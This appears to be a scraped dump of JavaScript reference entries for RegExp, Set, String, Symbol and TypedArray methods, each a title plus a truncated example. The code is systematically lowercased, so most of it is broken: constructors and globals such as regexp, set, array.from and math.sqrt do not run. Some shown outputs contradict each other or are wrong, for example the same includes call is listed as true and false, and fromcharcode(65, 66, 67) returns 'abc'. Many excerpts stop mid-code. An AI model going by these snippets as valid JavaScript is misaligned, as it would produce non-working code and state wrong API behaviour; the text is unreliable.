let re = /[0-9]+/g; let str = '2016-01-02'; let result = re[symbol.match](str); console.log(result); // ["2016", "01", "02"] using @@match in subclasses subclasses of regexp can override the [@@match]() method to modify the default behavior.
RegExp.prototype[@@matchAll]() - JavaScript
let re = /[0-9]+/g; let str = '2016-01-02'; let result = re[symbol.matchall](str); console.log(array.from(result, x => x[0])); // ["2016", "01", "02"] using @@matchall in subclasses subclasses of regexp can override the [@@matchall]() method to modify the default behavior.
RegExp.prototype[@@replace]() - JavaScript
var re = /-/g; var str = '2016-01-01'; var newstr = re[symbol.replace](str, '.'); console.log(newstr); // 2016.01.01 using @@replace in subclasses subclasses of regexp can override the [@@replace]() method to modify the default behavior.
RegExp.prototype[@@search]() - JavaScript
var re = /-/g; var str = '2016-01-02'; var result = re[symbol.search](str); console.log(result); // 4 using @@search in subclasses subclass of regexp can override [@@search]() method to modify the behavior.
RegExp.prototype[@@split]() - JavaScript
let re = /-/g; let str = '2016-01-02'; let result = re[symbol.split](str); console.log(result); // ["2016", "01", "02"] using @@split in subclasses subclasses of regexp can override the [@@split]() method to modify the default behavior.
RegExp.prototype.compile() - JavaScript
examples using compile() the following example shows how to recompile a regular expression with a new pattern and a new flag.
RegExp.prototype.flags - JavaScript
polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return this.tostring().match(/[gimsuy]*$/)[0]; } }); } examples using flags /foo/ig.flags; // "gi" /bar/myu.flags; // "muy" specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.flags' in that specification.
RegExp.prototype.global - JavaScript
examples using global var regex = new regexp('foo', 'g'); console.log(regex.global); // true var str = 'fooexamplefoo'; var str1 = str.replace(regex, ''); console.log(str1); // output: example var regex1 = new regexp('foo'); var str2 = str.replace(regex1, ''); console.log(str2); // output: examplefoo specifications specification ecmascript (ecma-262)the definition of 'regexp.proto...
RegExp.prototype.ignoreCase - JavaScript
examples using ignorecase var regex = new regexp('foo', 'i'); console.log(regex.ignorecase); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.ignorecase' in that specification.
RegExp.input ($_) - JavaScript
examples using input and $_ var re = /hi/g; re.test('hi there!'); regexp.input; // "hi there!" re.test('foo'); // new test, non-matching regexp.$_; // "hi there!" re.test('hi world!'); // new test, matching regexp.$_; // "hi world!" specifications specification legacy regexp features in javascript ...
RegExpInstance.lastIndex - JavaScript
examples using lastindex consider the following sequence of statements: var re = /(hi)?/g; matches the empty string.
RegExp.lastMatch ($&) - JavaScript
examples using lastmatch and $& var re = /hi/g; re.test('hi there!'); regexp.lastmatch; // "hi" regexp['$&']; // "hi" specifications specification legacy regexp features in javascript ...
RegExp.lastParen ($+) - JavaScript
examples using lastparen and $+ var re = /(hi)/g; re.test('hi there!'); regexp.lastparen; // "hi" regexp['$+']; // "hi" specifications specification legacy regexp features in javascript ...
RegExp.leftContext ($`) - JavaScript
examples using leftcontext and $` var re = /world/g; re.test('hello world!'); regexp.leftcontext; // "hello " regexp['$`']; // "hello " specifications specification legacy regexp features in javascript ...
RegExp.prototype.multiline - JavaScript
examples using multiline var regex = new regexp('foo', 'm'); console.log(regex.multiline); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.multiline' in that specification.
RegExp.rightContext ($') - JavaScript
examples using rightcontext and $' var re = /hello/g; re.test('hello world!'); regexp.rightcontext; // " world!" regexp["$'"]; // " world!" specifications specification legacy regexp features in javascript ...
RegExp.prototype.source - JavaScript
property attributes of regexp.prototype.source writable no enumerable no configurable yes examples using source var regex = /foobar/ig; console.log(regex.source); // "foobar", doesn't contain /.../ and "ig".
RegExp.prototype.toString() - JavaScript
examples using tostring() the following example displays the string value of a regexp object: var myexp = new regexp('a+b+c'); console.log(myexp.tostring()); // logs '/a+b+c/' var foo = new regexp('bar', 'g'); console.log(foo.tostring()); // logs '/bar/g' empty regular expressions and escaping starting with ecmascript 5, an empty regular expression returns the string "/(?:)/" and line terminators such...
RegExp.prototype.unicode - JavaScript
examples using the unicode property var regex = new regexp('\u{61}', 'u'); console.log(regex.unicode); // true specifications specification ecmascript (ecma-262)the definition of 'regexp.prototype.unicode' in that specification.
Set.prototype[@@iterator]() - JavaScript
examples using [@@iterator]() const myset = new set(); myset.add('0'); myset.add(1); myset.add({}); const setiter = myset[symbol.iterator](); console.log(setiter.next().value); // "0" console.log(setiter.next().value); // 1 console.log(setiter.next().value); // object using [@@iterator]() with for..of const myset = new set(); myset.add('0'); myset.add(1); myset.add({}); for (const v of myset) { console...
Set() constructor - JavaScript
examples using the set object let myset = new set() myset.add(1) // set [ 1 ] myset.add(5) // set [ 1, 5 ] myset.add(5) // set [ 1, 5 ] myset.add('some text') // set [ 1, 5, 'some text' ] let o = {a: 1, b: 2} myset.add(o) specifications specification ecmascript (ecma-262)the definition of 'set constructor' in that specification.
Set.prototype.add() - JavaScript
examples using the add method var myset = new set(); myset.add(1); myset.add(5).add('some text'); // chainable console.log(myset); // set [1, 5, "some text"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.add' in that specification.
Set.prototype.clear() - JavaScript
examples using the clear method var myset = new set(); myset.add(1); myset.add('foo'); myset.size; // 2 myset.has('foo'); // true myset.clear(); myset.size; // 0 myset.has('bar') // false specifications specification ecmascript (ecma-262)the definition of 'set.prototype.clear' in that specification.
Set.prototype.delete() - JavaScript
examples using the delete() method const myset = new set(); myset.add('foo'); myset.delete('bar'); // returns false.
Set.prototype.entries() - JavaScript
examples using entries() var myset = new set(); myset.add('foobar'); myset.add(1); myset.add('baz'); var setiter = myset.entries(); console.log(setiter.next().value); // ["foobar", "foobar"] console.log(setiter.next().value); // [1, 1] console.log(setiter.next().value); // ["baz", "baz"] specifications specification ecmascript (ecma-262)the definition of 'set.prototype.entries' in th...
Set.prototype.has() - JavaScript
examples using the has method var myset = new set(); myset.add('foo'); myset.has('foo'); // returns true myset.has('bar'); // returns false var set1 = new set(); var obj1 = {'key1': 1}; set1.add(obj1); set1.has(obj1); // returns true set1.has({'key1': 1}); // returns false because they are different object references set1.add({'key1': 1}); // now set1 contains 2 entries specifications s...
Set.prototype.size - JavaScript
examples using size var myset = new set(); myset.add(1); myset.add(5); myset.add('some text') myset.size; // 3 specifications specification ecmascript (ecma-262)the definition of 'set.prototype.size' in that specification.
Set.prototype.values() - JavaScript
examples using values() var myset = new set(); myset.add('foo'); myset.add('bar'); myset.add('baz'); var setiter = myset.values(); console.log(setiter.next().value); // "foo" console.log(setiter.next().value); // "bar" console.log(setiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'set.prototype.values' in that specification.
Set - JavaScript
examples using the set object let myset = new set() myset.add(1) // set [ 1 ] myset.add(5) // set [ 1, 5 ] myset.add(5) // set [ 1, 5 ] myset.add('some text') // set [ 1, 5, 'some text' ] let o = {a: 1, b: 2} myset.add(o) myset.add({a: 1, b: 2}) // o is referencing a different object, so this is okay myset.has(1) // true myset.has(3) // false, since ...
SharedArrayBuffer.prototype.byteLength - JavaScript
examples using bytelength var sab = new sharedarraybuffer(1024); sab.bytelength; // 1024 specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.bytelength' in that specification.
SharedArrayBuffer.prototype.slice() - JavaScript
examples using slice var sab = new sharedarraybuffer(1024); sab.slice(); // sharedarraybuffer { bytelength: 1024 } sab.slice(2); // sharedarraybuffer { bytelength: 1022 } sab.slice(-2); // sharedarraybuffer { bytelength: 2 } sab.slice(0, 1); // sharedarraybuffer { bytelength: 1 } specifications specification ecmascript (ecma-262)the definition of 'sharedarraybuffer.prototype.slice' i...
String.prototype[@@iterator]() - JavaScript
examples using [@@iterator]() var str = 'a\ud835\udc68'; var striter = str[symbol.iterator](); console.log(striter.next().value); // "a" console.log(striter.next().value); // "\ud835\udc68" using [@@iterator]() with for..of var str = 'a\ud835\udc68b\ud835\udc69c\ud835\udc6a'; for (var v of str) { console.log(v); } // "a" // "\ud835\udc68" // "b" // "\ud835\udc69" // "c" // "\ud835\udc6a" specificatio...
String.prototype.anchor() - JavaScript
examples using anchor() var mystring = 'table of contents'; document.body.innerhtml = mystring.anchor('contents_anchor'); will output the following html: <a name="contents_anchor">table of contents</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.anchor' in that specification.
String.prototype.big() - JavaScript
examples using big() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <fontsize=7>hello, world</fontsize> with the element.style object you can get the element's style attribu...
String.prototype.blink() - JavaScript
examples using blink() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications ...
String.prototype.bold() - JavaScript
examples using bold() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.bold' in that specification.
String.prototype.charCodeAt() - JavaScript
examples using charcodeat() the following example returns 65, the unicode value for a.
String.prototype.codePointAt() - JavaScript
rogate-formulae return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000; } } return first; }; if (defineproperty) { defineproperty(string.prototype, 'codepointat', { 'value': codepointat, 'configurable': true, 'writable': true }); } else { string.prototype.codepointat = codepointat; } }()); } examples using codepointat() 'abc'.codepointat(1) // 66 '\ud800\udc00'.codepointat(0) // 65536 'xyz'.codepointat(42) // undefined looping with codepointat() for (let codepoint of '\ud83d\udc0e\ud83d\udc71\u2764') { console.log(codepoint.codepointat(0).tostring(16)) } // '1f40e', '1f471', '2764' specifications specification ecmascript (ecma-262)the definition of...
String.prototype.concat() - JavaScript
examples using concat() the following example combines strings into a new string.
String.prototype.endsWith() - JavaScript
however, you can polyfill string.prototype.endswith() with the following snippet: if (!string.prototype.endswith) { string.prototype.endswith = function(search, this_len) { if (this_len === undefined || this_len > this.length) { this_len = this.length; } return this.substring(this_len - search.length, this_len) === search; }; } examples using endswith() let str = 'to be, or not to be, that is the question.' console.log(str.endswith('question.')) // true console.log(str.endswith('to be')) // false console.log(str.endswith('to be', 19)) // true specifications specification ecmascript (ecma-262)the definition of 'string.prototype.endswith' in that specification.
String.prototype.fixed() - JavaScript
examples using fixed() the following example uses the fixed method to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.fixed()); // "<tt>hello, world</tt>" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.fixed' in that specification.
String.prototype.fontcolor() - JavaScript
examples using fontcolor() the following example uses the fontcolor() method to change the color of a string by producing a string with the html <font> tag.
String.prototype.fontsize() - JavaScript
examples using fontsize() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style...
String.fromCharCode() - JavaScript
examples using fromcharcode() bmp characters, in utf-16, use a single code unit: string.fromcharcode(65, 66, 67); // returns "abc" string.fromcharcode(0x2014); // returns "—" string.fromcharcode(0x12014); // also returns "—"; the digit 1 is truncated and ignored string.fromcharcode(8212); // also returns "—"; 8212 is the decimal form of 0x2014 complete utf 16 table.
String.prototype.includes() - JavaScript
however, you can easily polyfill this method: if (!string.prototype.includes) { string.prototype.includes = function(search, start) { 'use strict'; if (search instanceof regexp) { throw typeerror('first argument must not be a regexp'); } if (start === undefined) { start = 0; } return this.indexof(search, start) !== -1; }; } examples using includes() const str = 'to be, or not to be, that is the question.' console.log(str.includes('to be')) // true console.log(str.includes('question')) // true console.log(str.includes('nonexistent')) // false console.log(str.includes('to be', 1)) // false console.log(str.includes('to be')) // false console.log(str.includes('')) // true specifications ...
String.prototype.italics() - JavaScript
examples using italics() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.italics' in that specification.
String.prototype.lastIndexOf() - JavaScript
for example, the following expression returns -1: 'blue whale, killer whale'.lastindexof('blue'); // returns -1 examples using indexof() and lastindexof() the following example uses indexof() and lastindexof() to locate values in the string "brave new world".
String.prototype.link() - JavaScript
examples using link() the following example displays the word "mdn" as a hypertext link that returns the user to the mozilla developer network.
String.prototype.padEnd() - JavaScript
examples using padend 'abc'.padend(10); // "abc " 'abc'.padend(10, "foo"); // "abcfoofoof" 'abc'.padend(6, "123456"); // "abc123" 'abc'.padend(1); // "abc" specifications specification ecmascript (ecma-262)the definition of 'string.prototype.padend' in that specification.
String.raw() - JavaScript
examples using string.raw() string.raw`hi\n${2+3}!`; // 'hi\n5!', the character after 'hi' // is not a newline character, // '\' and 'n' are two characters.
String.prototype.repeat() - JavaScript
strings 1 << 28 chars or longer, so: if (str.length * count >= 1 << 28) throw new rangeerror('repeat count must not overflow maximum string size'); var maxcount = str.length * count; count = math.floor(math.log(count) / math.log(2)); while (count) { str += str; count--; } str += str.substring(0, maxcount - str.length); return str; } } examples using repeat 'abc'.repeat(-1) // rangeerror 'abc'.repeat(0) // '' 'abc'.repeat(1) // 'abc' 'abc'.repeat(2) // 'abcabc' 'abc'.repeat(3.5) // 'abcabcabc' (count will be converted to integer) 'abc'.repeat(1/0) // rangeerror ({ tostring: () => 'abc', repeat: string.prototype.repeat }).repeat(2) // 'abcabc' (repeat() is a generic method) specifications specification ...
String.prototype.search() - JavaScript
examples using search() the following example searches a string with two different regex objects to show a successful search (positive value) vs.
String.prototype.small() - JavaScript
examples using small() the following example uses string methods to change the size of a string: var worldstring = 'hello, world'; console.log(worldstring.small()); // <small>hello, world</small> console.log(worldstring.big()); // <big>hello, world</big> console.log(worldstring.fontsize(7)); // <font size="7">hello, world</fontsize> with the element.style object you can get the element's style attribute and manipulate it more generically, for example: document.getelementbyid('yourelemid').style.fontsize = ...
String.prototype.startsWith() - JavaScript
examples using startswith() //startswith let str = 'to be, or not to be, that is the question.' console.log(str.startswith('to be')) // true console.log(str.startswith('not to be')) // false console.log(str.startswith('not to be', 10)) // true specifications specification ecmascript (ecma-262)the definition of 'string.prototype.startswith' in that specification.
String.prototype.strike() - JavaScript
examples using strike() the following example uses string methods to change the formatting of a string: var worldstring = 'hello, world'; console.log(worldstring.blink()); // <blink>hello, world</blink> console.log(worldstring.bold()); // <b>hello, world</b> console.log(worldstring.italics()); // <i>hello, world</i> console.log(worldstring.strike()); // <strike>hello, world</strike> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.strike' in that spec...
String.prototype.sub() - JavaScript
examples using sub() and sup() methods the following example uses the sub() and sup() methods to format a string: var supertext = 'superscript'; var subtext = 'subscript'; console.log('this is what a ' + supertext.sup() + ' looks like.'); // this is what a <sup>superscript</sup> looks like console.log('this is what a ' + subtext.sub() + ' looks like.'); // this is what a <sub>subscript</sub> looks like.
String.prototype.substr() - JavaScript
this.length + start : start, length) } }(string.prototype.substr); } examples using substr() var astring = 'mozilla'; console.log(astring.substr(0, 1)); // 'm' console.log(astring.substr(1, 0)); // '' console.log(astring.substr(-1, 1)); // 'a' console.log(astring.substr(1, -1)); // '' console.log(astring.substr(-3)); // 'lla' console.log(astring.substr(1)); // 'ozilla' console.log(astring.substr(-20, 2)); // 'mo' console.log(astring.substr(20, 2)); // '' spec...
String.prototype.sup() - JavaScript
examples using sub() and sup() methods the following example uses the sub() and sup() methods to format a string: var supertext = 'superscript'; var subtext = 'subscript'; console.log('this is what a ' + supertext.sup() + ' looks like.'); // "this is what a <sup>superscript</sup> looks like." console.log('this is what a ' + subtext.sub() + ' looks like.'); // "this is what a <sub>subscript</sub> looks like." specifications specification ecmascript (ecma-262)the definition of 'string.prototype.sup' in that specific...
String.prototype.toLocaleLowerCase() - JavaScript
examples using tolocalelowercase() 'alphabet'.tolocalelowercase(); // 'alphabet' '\u0130'.tolocalelowercase('tr') === 'i'; // true '\u0130'.tolocalelowercase('en-us') === 'i'; // false let locales = ['tr', 'tr', 'tr-tr', 'tr-u-co-search', 'tr-x-turkish']; '\u0130'.tolocalelowercase(locales) === 'i'; // true specifications specification ecmascript (ecma-262)the definition of 'string.pr...
String.prototype.toLocaleUpperCase() - JavaScript
the following can return false: x.tolocalelowercase() === x.tolocaleuppercase().tolocalelowercase() examples using tolocaleuppercase() 'alphabet'.tolocaleuppercase(); // 'alphabet' 'gesäß'.tolocaleuppercase(); // 'gesÄss' 'i\u0307'.tolocaleuppercase('lt-lt'); // 'i' let locales = ['lt', 'lt', 'lt-lt', 'lt-u-co-phonebk', 'lt-x-lietuva']; 'i\u0307'.tolocaleuppercase(locales); // 'i' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tolocaleuppercase...
String.prototype.toLowerCase() - JavaScript
examples using tolowercase() console.log('alphabet'.tolowercase()); // 'alphabet' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tolowercase' in that specification.
String.prototype.toString() - JavaScript
examples using tostring() the following example displays the string value of a string object: var x = new string('hello world'); console.log(x.tostring()); // logs 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.tostring' in that specification.
String.prototype.trim() - JavaScript
if (!string.prototype.trim) { string.prototype.trim = function () { return this.replace(/^[\s\ufeff\xa0]+|[\s\ufeff\xa0]+$/g, ''); }; } examples using trim() the following example displays the lowercase string 'foo': var orig = ' foo '; console.log(orig.trim()); // 'foo' // another example of .trim() removing whitespace from just one side.
String.prototype.trimEnd() - JavaScript
in some engines this means: string.prototype.trimright.name === "trimend"; examples using trimend() the following example displays the lowercase string ' foo': var str = ' foo '; console.log(str.length); // 8 str = str.trimend(); console.log(str.length); // 6 console.log(str); // ' foo' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.trimend' in that specification.
String.prototype.trimStart() - JavaScript
urn this.replace(r,'') } } })(proto,'trimstart'); })(window); /* es6: (w=>{ const string=w.string, proto=string.prototype; ((o,p)=>{ if(p in o?o[p]?false:true:true){ const r=/^\s+/; o[p]=o.trimleft||function(){ return this.replace(r,'') } } })(proto,'trimstart'); })(window); */ examples using trimstart() the following example displays the lowercase string 'foo ': var str = ' foo '; console.log(str.length); // 8 str = str.trimstart(); console.log(str.length); // 5 console.log(str); // 'foo ' specifications specification ecmascript (ecma-262)the definition of ' string.prototype.trimstart' in that specification.
String.prototype.valueOf() - JavaScript
examples using valueof() var x = new string('hello world'); console.log(x.valueof()); // displays 'hello world' specifications specification ecmascript (ecma-262)the definition of 'string.prototype.valueof' in that specification.
Symbol.prototype[@@toPrimitive] - JavaScript
examples using @@toprimitive const sym = symbol("example"); sym === sym[symbol.toprimitive](); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.@@toprimitive' in that specification.
Symbol.prototype.description - JavaScript
examples using description symbol('desc').tostring(); // "symbol(desc)" symbol('desc').description; // "desc" symbol('').description; // "" symbol().description; // undefined // well-known symbols symbol.iterator.tostring(); // "symbol(symbol.iterator)" symbol.iterator.description; // "symbol.iterator" // global symbols symbol.for('foo').tostring(); // "symbol(foo)" symbol.for('foo').descrip...
Symbol.for() - JavaScript
examples using symbol.for symbol.for('foo'); // create a new global symbol symbol.for('foo'); // retrieve the already created symbol // same global symbol, but not locally symbol.for('bar') === symbol.for('bar'); // true symbol('bar') === symbol('bar'); // false // the key is also used as the description var sym = symbol.for('mario'); sym.tostring(); // "symbol(mario)" to avoid name clashes with your globa...
Symbol.isConcatSpreadable - JavaScript
the symbol.isconcatspreadable well-known symbol is used to configure if an object should be flattened to its array elements when using the array.prototype.concat() method.
Symbol.keyFor() - JavaScript
examples using keyfor var globalsym = symbol.for('foo'); // create a new global symbol symbol.keyfor(globalsym); // "foo" var localsym = symbol(); symbol.keyfor(localsym); // undefined // well-known symbols are not symbols registered // in the global symbol registry symbol.keyfor(symbol.iterator) // undefined specifications specification ecmascript (ecma-262)the definition of 'symbol.key...
Symbol.matchAll - JavaScript
property attributes of symbol.matchall writable no enumerable no configurable no examples using symbol.matchall let re = /[0-9]+/g; let str = '2016-01-02|2019-03-07'; const numbers = { *[symbol.matchall] (str) { for (const n of str.matchall(/[0-9]+/g)) yield n[0]; } }; console.log(array.from(str.matchall(numbers))); // array ["2016", "01", "02", "2019", "03", "07"] see string.prototype.matchall() and regexp.prototype[@@matchall]() for more examples.
Symbol.replace - JavaScript
property attributes of symbol.replace writable no enumerable no configurable no examples using symbol.replace class customreplacer { constructor(value) { this.value = value; } [symbol.replace](string) { return string.replace(this.value, '#!@?'); } } console.log('football'.replace(new customreplacer('foo'))); // expected output: "#!@?tball" specifications specification ecmascript (ecma-262)the definition of 'symbol.replace' in that specification.
Symbol.prototype.toString() - JavaScript
no string concatenation while you can call tostring() on symbols, you cannot use string concatenation with them: symbol('foo') + 'bar' // typeerror: can't convert symbol to string examples using tostring symbol('desc').tostring() // "symbol(desc)" // well-known symbols symbol.iterator.tostring() // "symbol(symbol.iterator) // global symbols symbol.for('foo').tostring() // "symbol(foo)" specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.tostring' in that specification.
Symbol.unscopables - JavaScript
note that if using strict mode, with statements are not available and will likely also not need this symbol.
Symbol.prototype.valueOf() - JavaScript
examples using valueof const sym = symbol("example"); sym === sym.valueof(); // true specifications specification ecmascript (ecma-262)the definition of 'symbol.prototype.valueof' in that specification.
TypedArray.prototype[@@iterator]() - JavaScript
examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of arr) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr[symbol.iterator](); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.log(earr.next().value); // 30 console.log(earr.next().value); // 40 console.log(earr.next().value); // 50 specifications specification ecmas...
TypedArray.BYTES_PER_ELEMENT - JavaScript
examples using bytes_per_element int8array.bytes_per_element; // 1 uint8array.bytes_per_element; // 1 uint8clampedarray.bytes_per_element; // 1 int16array.bytes_per_element; // 2 uint16array.bytes_per_element; // 2 int32array.bytes_per_element; // 4 uint32array.bytes_per_element; // 4 float32array.bytes_per_element; // 4 float64array.bytes_per_element; // 8 s...
TypedArray.prototype.buffer - JavaScript
examples using the buffer property var buffer = new arraybuffer(8); var uint16 = new uint16array(buffer); uint16.buffer; // arraybuffer { bytelength: 8 } specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.buffer' in that specification.
TypedArray.prototype.byteLength - JavaScript
examples using the bytelength property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.bytelength; // 8 (matches the bytelength of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.bytelength; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.bytelength; // 6 (due to the offset of the constructed uint8array) specification...
TypedArray.prototype.byteOffset - JavaScript
examples using the byteoffset property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.byteoffset; // 0 (no offset specified) var uint8 = new uint8array(buffer, 3); uint8.byteoffset; // 3 (as specified when constructing uint8array) specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.byteoffset' in that specification.
TypedArray.prototype.copyWithin() - JavaScript
examples using copywithin var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1,2,3]); console.log(uint8); // uint8array [ 1, 2, 3, 0, 0, 0, 0, 0 ] uint8.copywithin(3,0,3); console.log(uint8); // uint8array [ 1, 2, 3, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.copywithin' in that specification.
TypedArray.prototype.entries() - JavaScript
examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.entries(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.entries(); console.log(earr.next().value); // [0, 10] console.log(earr.next().value); // [1, ...
TypedArray.prototype.every() - JavaScript
function isbigenough(element, index, array) { return element >= 10; } new uint8array([12, 5, 8, 130, 44]).every(isbigenough); // false new uint8array([12, 54, 18, 130, 44]).every(isbigenough); // true testing typed array elements using arrow functions arrow functions provide a shorter syntax for the same test.
TypedArray.prototype.fill() - JavaScript
// https://tc39.github.io/ecma262/#sec-%typedarray%.prototype.fill if (!uint8array.prototype.fill) { uint8array.prototype.fill = array.prototype.fill; } examples using fill new uint8array([1, 2, 3]).fill(4); // uint8array [4, 4, 4] new uint8array([1, 2, 3]).fill(4, 1); // uint8array [1, 4, 4] new uint8array([1, 2, 3]).fill(4, 1, 2); // uint8array [1, 4, 3] new uint8array([1, 2, 3]).fill(4, 1, 1); // uint8array [1, 2, 3] new uint8array([1, 2, 3]).fill(4, -3, -2); // uint8array [4, 2, 3] specifications specification ecmascr...
TypedArray.prototype.filter() - JavaScript
function isbigenough(element, index, array) { return element >= 10; } new uint8array([12, 5, 8, 130, 44]).filter(isbigenough); // uint8array [ 12, 130, 44 ] filtering typed array elements using arrow functions arrow functions provide a shorter syntax for the same test.
TypedArray.prototype.includes() - JavaScript
examples using includes var uint8 = new uint8array([1,2,3]); uint8.includes(2); // true uint8.includes(4); // false uint8.includes(3, 3); // false // nan handling (only true for float32 and float64) new uint8array([nan]).includes(nan); // false, since the nan passed to the constructor gets converted to 0 new float32array([nan]).includes(nan); // true; new float64array([nan]).includes(nan); // true; ...
TypedArray.prototype.join() - JavaScript
examples using join var uint8 = new uint8array([1,2,3]); uint8.join(); // '1,2,3' uint8.join(' / '); // '1 / 2 / 3' uint8.join(''); // '123' specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.join' in that specification.
TypedArray.prototype.keys() - JavaScript
examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.keys(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.keys(); console.log(earr.next().value); // 0 console.log(earr.next().value); // 1 console.log(ea...
TypedArray.prototype.length - JavaScript
examples using the length property var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.length; // 8 (matches the length of the buffer) var uint8 = new uint8array(buffer, 1, 5); uint8.length; // 5 (as specified when constructing the uint8array) var uint8 = new uint8array(buffer, 2); uint8.length; // 6 (due to the offset of the constructed uint8array) specifications specific...
TypedArray.prototype.map() - JavaScript
const numbers = new uint8array([1, 4, 9]); const roots = numbers.map(math.sqrt); // roots is now: uint8array [1, 2, 3], // numbers is still uint8array [1, 4, 9] mapping a typed array of numbers using a function containing an argument the following code shows how map works when a function requiring one argument is used with it.
TypedArray.name - JavaScript
examples using name int8array.name; // "int8array" uint8array.name; // "uint8array" uint8clampedarray.name; // "uint8clampedarray" int16array.name; // "int16array" uint16array.name; // "uint16array" int32array.name; // "int32array" uint32array.name; // "uint32array" float32array.name; // "float32array" float64array.name; // "float64array" specifications ...
TypedArray.of() - JavaScript
examples using of uint8array.of(1); // uint8array [ 1 ] int8array.of('1', '2', '3'); // int8array [ 1, 2, 3 ] float32array.of(1, 2, 3); // float32array [ 1, 2, 3 ] int16array.of(undefined); // int16array [ 0 ] specifications specification ecmascript (ecma-262)the definition of '%typedarray%.of' in that specification.
TypedArray.prototype.reverse() - JavaScript
examples using reverse var uint8 = new uint8array([1, 2, 3]); uint8.reverse(); console.log(uint8); // uint8array [3, 2, 1] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.reverse' in that specification.
TypedArray.prototype.set() - JavaScript
examples using set() var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1, 2, 3], 3); console.log(uint8); // uint8array [ 0, 0, 0, 1, 2, 3, 0, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.set' in that specification.
TypedArray.prototype.some() - JavaScript
function isbiggerthan10(element, index, array) { return element > 10; } new uint8array([2, 5, 8, 1, 4]).some(isbiggerthan10); // false new uint8array([12, 5, 8, 1, 4]).some(isbiggerthan10); // true testing typed array elements using arrow functions arrow functions provide a shorter syntax for the same test.
TypedArray.prototype.sort() - JavaScript
examples using sort for more examples, see also the array.prototype.sort() method.
TypedArray.prototype.subarray() - JavaScript
examples using the subarray method var buffer = new arraybuffer(8); var uint8 = new uint8array(buffer); uint8.set([1,2,3]); console.log(uint8); // uint8array [ 1, 2, 3, 0, 0, 0, 0, 0 ] var sub = uint8.subarray(0,4); console.log(sub); // uint8array [ 1, 2, 3, 0 ] specifications specification ecmascript (ecma-262)the definition of 'typedarray.prototype.subarray' in that specification.
TypedArray.prototype.toLocaleString() - JavaScript
examples using tolocalestring var uint = new uint32array([2000, 500, 8123, 12, 4212]); uint.tolocalestring(); // if run in a de-de locale // "2.000,500,8.123,12,4.212" uint.tolocalestring('en-us'); // "2,000,500,8,123,12,4,212" uint.tolocalestring('ja-jp', { style: 'currency', currency: 'jpy' }); // "¥2,000,¥500,¥8,123,¥12,¥4,212" specifications specification ecmascript (ecma-...
TypedArray.prototype.values() - JavaScript
examples iteration using for...of loop var arr = new uint8array([10, 20, 30, 40, 50]); var earray = arr.values(); // your browser must support for..of loop // and let-scoped variables in for loops for (let n of earray) { console.log(n); } alternative iteration var arr = new uint8array([10, 20, 30, 40, 50]); var earr = arr.values(); console.log(earr.next().value); // 10 console.log(earr.next().value); // 20 console.
